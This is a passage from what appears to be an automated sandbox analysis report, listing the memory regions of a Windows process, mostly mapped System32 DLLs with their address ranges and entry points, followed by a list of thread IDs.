filename = "\\Windows\\System32\\winhttp.dll" (normalized: "c:\\windows\\system32\\winhttp.dll")
Region:
id = 1784
start_va = 0x6fe00000
end_va = 0x6fe0ffff
entry_point = 0x6fe00000
region_type = mapped_file
name = "vsstrace.dll"
filename = "\\Windows\\System32\\vsstrace.dll" (normalized: "c:\\windows\\system32\\vsstrace.dll")
Region:
id = 1785
start_va = 0x6fe10000
end_va = 0x6ff25fff
entry_point = 0x6fe10000
region_type = mapped_file
name = "vssapi.dll"
filename = "\\Windows\\System32\\vssapi.dll" (normalized: "c:\\windows\\system32\\vssapi.dll")
Region:
id = 1786
start_va = 0x70150000
end_va = 0x70173fff
entry_point = 0x70150000
region_type = mapped_file
name = "cryptsvc.dll"
filename = "\\Windows\\System32\\cryptsvc.dll" (normalized: "c:\\windows\\system32\\cryptsvc.dll")
Region:
id = 1787
start_va = 0x72190000
end_va = 0x721a6fff
entry_point = 0x72190000
region_type = mapped_file
name = "wkssvc.dll"
filename = "\\Windows\\System32\\wkssvc.dll" (normalized: "c:\\windows\\system32\\wkssvc.dll")
Region:
id = 1788
start_va = 0x73800000
end_va = 0x7380efff
entry_point = 0x7380125e
region_type = mapped_file
name = "samcli.dll"
filename = "\\Windows\\System32\\samcli.dll" (normalized: "c:\\windows\\system32\\samcli.dll")
Region:
id = 1789
start_va = 0x73e90000
end_va = 0x73e9efff
entry_point = 0x73e912a1
region_type = mapped_file
name = "wkscli.dll"
filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll")
Region:
id = 1790
start_va = 0x73ea0000
end_va = 0x73ea8fff
entry_point = 0x73ea15a6
region_type = mapped_file
name = "netutils.dll"
filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll")
Region:
id = 1791
start_va = 0x73fa0000
end_va = 0x73fb1fff
entry_point = 0x73fa3271
region_type = mapped_file
name = "dhcpcsvc.dll"
filename = "\\Windows\\System32\\dhcpcsvc.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc.dll")
Region:
id = 1792
start_va = 0x73fc0000
end_va = 0x73fccfff
entry_point = 0x73fc2012
region_type = mapped_file
name = "dhcpcsvc6.dll"
filename = "\\Windows\\System32\\dhcpcsvc6.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc6.dll")
Region:
id = 1793
start_va = 0x73fd0000
end_va = 0x73fd4fff
entry_point = 0x73fd0000
region_type = mapped_file
name = "dnsext.dll"
filename = "\\Windows\\System32\\dnsext.dll" (normalized: "c:\\windows\\system32\\dnsext.dll")
Region:
id = 1794
start_va = 0x73fe0000
end_va = 0x74017fff
entry_point = 0x73fe990e
region_type = mapped_file
name = "fwpuclnt.dll"
filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll")
Region:
id = 1795
start_va = 0x74020000
end_va = 0x74042fff
entry_point = 0x74020000
region_type = mapped_file
name = "dnsrslvr.dll"
filename = "\\Windows\\System32\\dnsrslvr.dll" (normalized: "c:\\windows\\system32\\dnsrslvr.dll")
Region:
id = 1796
start_va = 0x740f0000
end_va = 0x740f6fff
entry_point = 0x740f128d
region_type = mapped_file
name = "winnsi.dll"
filename = "\\Windows\\System32\\winnsi.dll" (normalized: "c:\\windows\\system32\\winnsi.dll")
Region:
id = 1797
start_va = 0x74100000
end_va = 0x7411bfff
entry_point = 0x7410a431
region_type = mapped_file
name = "iphlpapi.dll"
filename = "\\Windows\\System32\\IPHLPAPI.DLL" (normalized: "c:\\windows\\system32\\iphlpapi.dll")
Region:
id = 1798
start_va = 0x74150000
end_va = 0x74196fff
entry_point = 0x741689f9
region_type = mapped_file
name = "es.dll"
filename = "\\Windows\\System32\\es.dll" (normalized: "c:\\windows\\system32\\es.dll")
Region:
id = 1799
start_va = 0x741a0000
end_va = 0x741acfff
entry_point = 0x741a11e0
region_type = mapped_file
name = "wtsapi32.dll"
filename = "\\Windows\\System32\\wtsapi32.dll" (normalized: "c:\\windows\\system32\\wtsapi32.dll")
Region:
id = 1800
start_va = 0x741e0000
end_va = 0x741f3fff
entry_point = 0x741e1da9
region_type = mapped_file
name = "atl.dll"
filename = "\\Windows\\System32\\atl.dll" (normalized: "c:\\windows\\system32\\atl.dll")
Region:
id = 1801
start_va = 0x745b0000
end_va = 0x746a4fff
entry_point = 0x745c0d9e
region_type = mapped_file
name = "propsys.dll"
filename = "\\Windows\\System32\\propsys.dll" (normalized: "c:\\windows\\system32\\propsys.dll")
Region:
id = 1802
start_va = 0x746b0000
end_va = 0x746c1fff
entry_point = 0x746b0000
region_type = mapped_file
name = "samlib.dll"
filename = "\\Windows\\System32\\samlib.dll" (normalized: "c:\\windows\\system32\\samlib.dll")
Region:
id = 1803
start_va = 0x74cf0000
end_va = 0x74cf4fff
entry_point = 0x74cf15df
region_type = mapped_file
name = "wshtcpip.dll"
filename = "\\Windows\\System32\\WSHTCPIP.DLL" (normalized: "c:\\windows\\system32\\wshtcpip.dll")
Region:
id = 1804
start_va = 0x74da0000
end_va = 0x74db5fff
entry_point = 0x74da2061
region_type = mapped_file
name = "gpapi.dll"
filename = "\\Windows\\System32\\gpapi.dll" (normalized: "c:\\windows\\system32\\gpapi.dll")
Region:
id = 1805
start_va = 0x74dc0000
end_va = 0x74dd6fff
entry_point = 0x74dc1c9d
region_type = mapped_file
name = "userenv.dll"
filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll")
Region:
id = 1806
start_va = 0x74eb0000
end_va = 0x74eb7fff
entry_point = 0x74eb34d3
region_type = mapped_file
name = "credssp.dll"
filename = "\\Windows\\System32\\credssp.dll" (normalized: "c:\\windows\\system32\\credssp.dll")
Region:
id = 1807
start_va = 0x74ec0000
end_va = 0x74efcfff
entry_point = 0x74ec10f5
region_type = mapped_file
name = "bcryptprimitives.dll"
filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll")
Region:
id = 1808
start_va = 0x74f80000
end_va = 0x74fbafff
entry_point = 0x74f8128d
region_type = mapped_file
name = "rsaenh.dll"
filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll")
Region:
id = 1809
start_va = 0x75060000
end_va = 0x750a3fff
entry_point = 0x750763f9
region_type = mapped_file
name = "dnsapi.dll"
filename = "\\Windows\\System32\\dnsapi.dll" (normalized: "c:\\windows\\system32\\dnsapi.dll")
Region:
id = 1810
start_va = 0x75190000
end_va = 0x75195fff
entry_point = 0x75191673
region_type = mapped_file
name = "wship6.dll"
filename = "\\Windows\\System32\\wship6.dll" (normalized: "c:\\windows\\system32\\wship6.dll")
Region:
id = 1811
start_va = 0x751a0000
end_va = 0x751dbfff
entry_point = 0x751a145d
region_type = mapped_file
name = "mswsock.dll"
filename = "\\Windows\\System32\\mswsock.dll" (normalized: "c:\\windows\\system32\\mswsock.dll")
Region:
id = 1812
start_va = 0x751e0000
end_va = 0x751f5fff
entry_point = 0x751e2dc3
region_type = mapped_file
name = "cryptsp.dll"
filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll")
Region:
id = 1813
start_va = 0x75290000
end_va = 0x752bafff
entry_point = 0x75290000
region_type = mapped_file
name = "netjoin.dll"
filename = "\\Windows\\System32\\netjoin.dll" (normalized: "c:\\windows\\system32\\netjoin.dll")
Region:
id = 1814
start_va = 0x752e0000
end_va = 0x752f6fff
entry_point = 0x752e3574
region_type = mapped_file
name = "bcrypt.dll"
filename = "\\Windows\\System32\\bcrypt.dll" (normalized: "c:\\windows\\system32\\bcrypt.dll")
Region:
id = 1815
start_va = 0x75370000
end_va = 0x753b1fff
entry_point = 0x75370000
region_type = mapped_file
name = "wevtapi.dll"
filename = "\\Windows\\System32\\wevtapi.dll" (normalized: "c:\\windows\\system32\\wevtapi.dll")
Region:
id = 1816
start_va = 0x75620000
end_va = 0x75627fff
entry_point = 0x756210e9
region_type = mapped_file
name = "secur32.dll"
filename = "\\Windows\\System32\\secur32.dll" (normalized: "c:\\windows\\system32\\secur32.dll")
Region:
id = 1817
start_va = 0x75640000
end_va = 0x7565afff
entry_point = 0x756493b9
region_type = mapped_file
name = "sspicli.dll"
filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll")
Region:
id = 1818
start_va = 0x75660000
end_va = 0x7566bfff
entry_point = 0x756610e1
region_type = mapped_file
name = "cryptbase.dll"
filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll")
Region:
id = 1819
start_va = 0x756d0000
end_va = 0x756f8fff
entry_point = 0x756d6b19
region_type = mapped_file
name = "winsta.dll"
filename = "\\Windows\\System32\\winsta.dll" (normalized: "c:\\windows\\system32\\winsta.dll")
Region:
id = 1820
start_va = 0x75700000
end_va = 0x7570dfff
entry_point = 0x75701235
region_type = mapped_file
name = "rpcrtremote.dll"
filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll")
Region:
id = 1821
start_va = 0x75710000
end_va = 0x7571afff
entry_point = 0x75711992
region_type = mapped_file
name = "profapi.dll"
filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll")
Region:
id = 1822
start_va = 0x75780000
end_va = 0x7578bfff
entry_point = 0x7578238e
region_type = mapped_file
name = "msasn1.dll"
filename = "\\Windows\\System32\\msasn1.dll" (normalized: "c:\\windows\\system32\\msasn1.dll")
Region:
id = 1823
start_va = 0x757b0000
end_va = 0x758ccfff
entry_point = 0x757b158a
region_type = mapped_file
name = "crypt32.dll"
filename = "\\Windows\\System32\\crypt32.dll" (normalized: "c:\\windows\\system32\\crypt32.dll")
Region:
id = 1824
start_va = 0x758d0000
end_va = 0x75919fff
entry_point = 0x758d7de0
region_type = mapped_file
name = "kernelbase.dll"
filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll")
Region:
id = 1825
start_va = 0x759b0000
end_va = 0x759d6fff
entry_point = 0x759b58b9
region_type = mapped_file
name = "cfgmgr32.dll"
filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll")
Region:
id = 1826
start_va = 0x75a70000
end_va = 0x75b0cfff
entry_point = 0x75aa3fd7
region_type = mapped_file
name = "usp10.dll"
filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll")
Region:
id = 1827
start_va = 0x75b10000
end_va = 0x75b19fff
entry_point = 0x75b1136c
region_type = mapped_file
name = "lpk.dll"
filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll")
Region:
id = 1828
start_va = 0x75b20000
end_va = 0x75b54fff
entry_point = 0x75b2145d
region_type = mapped_file
name = "ws2_32.dll"
filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll")
Region:
id = 1829
start_va = 0x75b60000
end_va = 0x75c00fff
entry_point = 0x75b92433
region_type = mapped_file
name = "rpcrt4.dll"
filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll")
Region:
id = 1830
start_va = 0x75c10000
end_va = 0x75cd8fff
entry_point = 0x75c2d711
region_type = mapped_file
name = "user32.dll"
filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll")
Region:
id = 1831
start_va = 0x75e20000
end_va = 0x75e25fff
entry_point = 0x75e21782
region_type = mapped_file
name = "nsi.dll"
filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll")
Region:
id = 1832
start_va = 0x76030000
end_va = 0x760cffff
entry_point = 0x760449e5
region_type = mapped_file
name = "advapi32.dll"
filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll")
Region:
id = 1833
start_va = 0x760d0000
end_va = 0x760d4fff
entry_point = 0x760d1438
region_type = mapped_file
name = "psapi.dll"
filename = "\\Windows\\System32\\psapi.dll" (normalized: "c:\\windows\\system32\\psapi.dll")
Region:
id = 1834
start_va = 0x760e0000
end_va = 0x76136fff
entry_point = 0x760f9ba6
region_type = mapped_file
name = "shlwapi.dll"
filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll")
Region:
id = 1835
start_va = 0x76330000
end_va = 0x76348fff
entry_point = 0x76334975
region_type = mapped_file
name = "sechost.dll"
filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll")
Region:
id = 1836
start_va = 0x76350000
end_va = 0x76423fff
entry_point = 0x7639bde4
region_type = mapped_file
name = "kernel32.dll"
filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll")
Region:
id = 1837
start_va = 0x76460000
end_va = 0x764e2fff
entry_point = 0x764623d2
region_type = mapped_file
name = "clbcatq.dll"
filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll")
Region:
id = 1838
start_va = 0x77140000
end_va = 0x7715efff
entry_point = 0x77141355
region_type = mapped_file
name = "imm32.dll"
filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll")
Region:
id = 1839
start_va = 0x772e0000
end_va = 0x773abfff
entry_point = 0x772e168b
region_type = mapped_file
name = "msctf.dll"
filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll")
Region:
id = 1840
start_va = 0x773b0000
end_va = 0x7745bfff
entry_point = 0x773ba472
region_type = mapped_file
name = "msvcrt.dll"
filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll")
Region:
id = 1841
start_va = 0x77460000
end_va = 0x775bbfff
entry_point = 0x774aba3d
region_type = mapped_file
name = "ole32.dll"
filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll")
Region:
id = 1842
start_va = 0x775c0000
end_va = 0x776fbfff
entry_point = 0x775c0000
region_type = mapped_file
name = "ntdll.dll"
filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll")
Region:
id = 1843
start_va = 0x77710000
end_va = 0x7775dfff
entry_point = 0x77719c09
region_type = mapped_file
name = "gdi32.dll"
filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll")
Region:
id = 1844
start_va = 0x77760000
end_va = 0x777eefff
entry_point = 0x77763fb1
region_type = mapped_file
name = "oleaut32.dll"
filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll")
Region:
id = 1845
start_va = 0x77800000
end_va = 0x77800fff
entry_point = 0x77800000
region_type = mapped_file
name = "apisetschema.dll"
filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll")
Region:
id = 1846
start_va = 0x7f6f0000
end_va = 0x7f7effff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000000007f6f0000"
filename = ""
Region:
id = 1847
start_va = 0x7ffa8000
end_va = 0x7ffa8fff
entry_point = 0x0
region_type = private
name = "private_0x000000007ffa8000"
filename = ""
Region:
id = 1848
start_va = 0x7ffa9000
end_va = 0x7ffa9fff
entry_point = 0x0
region_type = private
name = "private_0x000000007ffa9000"
filename = ""
Region:
id = 1849
start_va = 0x7ffaa000
end_va = 0x7ffaafff
entry_point = 0x0
region_type = private
name = "private_0x000000007ffaa000"
filename = ""
Region:
id = 1850
start_va = 0x7ffac000
end_va = 0x7ffacfff
entry_point = 0x0
region_type = private
name = "private_0x000000007ffac000"
filename = ""
Region:
id = 1851
start_va = 0x7ffad000
end_va = 0x7ffadfff
entry_point = 0x0
region_type = private
name = "private_0x000000007ffad000"
filename = ""
Region:
id = 1852
start_va = 0x7ffae000
end_va = 0x7ffaefff
entry_point = 0x0
region_type = private
name = "private_0x000000007ffae000"
filename = ""
Region:
id = 1853
start_va = 0x7ffaf000
end_va = 0x7ffaffff
entry_point = 0x0
region_type = private
name = "private_0x000000007ffaf000"
filename = ""
Region:
id = 1854
start_va = 0x7ffb0000
end_va = 0x7ffd2fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000000007ffb0000"
filename = ""
Region:
id = 1855
start_va = 0x7ffd4000
end_va = 0x7ffd4fff
entry_point = 0x0
region_type = private
name = "private_0x000000007ffd4000"
filename = ""
Region:
id = 1856
start_va = 0x7ffd6000
end_va = 0x7ffd6fff
entry_point = 0x0
region_type = private
name = "private_0x000000007ffd6000"
filename = ""
Region:
id = 1857
start_va = 0x7ffd7000
end_va = 0x7ffd7fff
entry_point = 0x0
region_type = private
name = "private_0x000000007ffd7000"
filename = ""
Region:
id = 1858
start_va = 0x7ffd8000
end_va = 0x7ffd8fff
entry_point = 0x0
region_type = private
name = "private_0x000000007ffd8000"
filename = ""
Region:
id = 1859
start_va = 0x7ffd9000
end_va = 0x7ffd9fff
entry_point = 0x0
region_type = private
name = "private_0x000000007ffd9000"
filename = ""
Region:
id = 1860
start_va = 0x7ffda000
end_va = 0x7ffdafff
entry_point = 0x0
region_type = private
name = "private_0x000000007ffda000"
filename = ""
Region:
id = 1861
start_va = 0x7ffdb000
end_va = 0x7ffdbfff
entry_point = 0x0
region_type = private
name = "private_0x000000007ffdb000"
filename = ""
Region:
id = 1862
start_va = 0x7ffdc000
end_va = 0x7ffdcfff
entry_point = 0x0
region_type = private
name = "private_0x000000007ffdc000"
filename = ""
Region:
id = 1863
start_va = 0x7ffdd000
end_va = 0x7ffddfff
entry_point = 0x0
region_type = private
name = "private_0x000000007ffdd000"
filename = ""
Region:
id = 1864
start_va = 0x7ffde000
end_va = 0x7ffdefff
entry_point = 0x0
region_type = private
name = "private_0x000000007ffde000"
filename = ""
Region:
id = 1865
start_va = 0x7ffdf000
end_va = 0x7ffdffff
entry_point = 0x0
region_type = private
name = "private_0x000000007ffdf000"
filename = ""
Thread:
id = 91
os_tid = 0xcc0
Thread:
id = 92
os_tid = 0xc1c
Thread:
id = 93
os_tid = 0x97c
Thread:
id = 94
os_tid = 0x710
Thread:
id = 95
os_tid = 0x7ec
Thread:
id = 96
os_tid = 0x664
Thread:
id = 97
os_tid = 0x65c
Thread:
id = 98
os_tid = 0x64c
Thread:
id = 99
os_tid = 0x62c
Thread:
id = 100
os_tid = 0x56c
Thread:
id = 101
os_tid = 0x45c
Thread:
id = 102
os_tid = 0x458
Thread:
id = 103
os_tid = 0x454
Thread:
id = 104
os_tid = 0x448
Thread:
id = 105
os_tid = 0x43c
Thread:
id = 106
os_tid = 0x438
Thread:
id = 107
os_tid = 0x430
Thread:
id = 109
os_tid = 0xee0
Thread:
id = 110
os_tid = 0xf10
Thread:
id = 111
os_tid = 0xf4c
Thread:
id = 112
os_tid = 0xf54
Thread:
id = 113
os_tid = 0xf58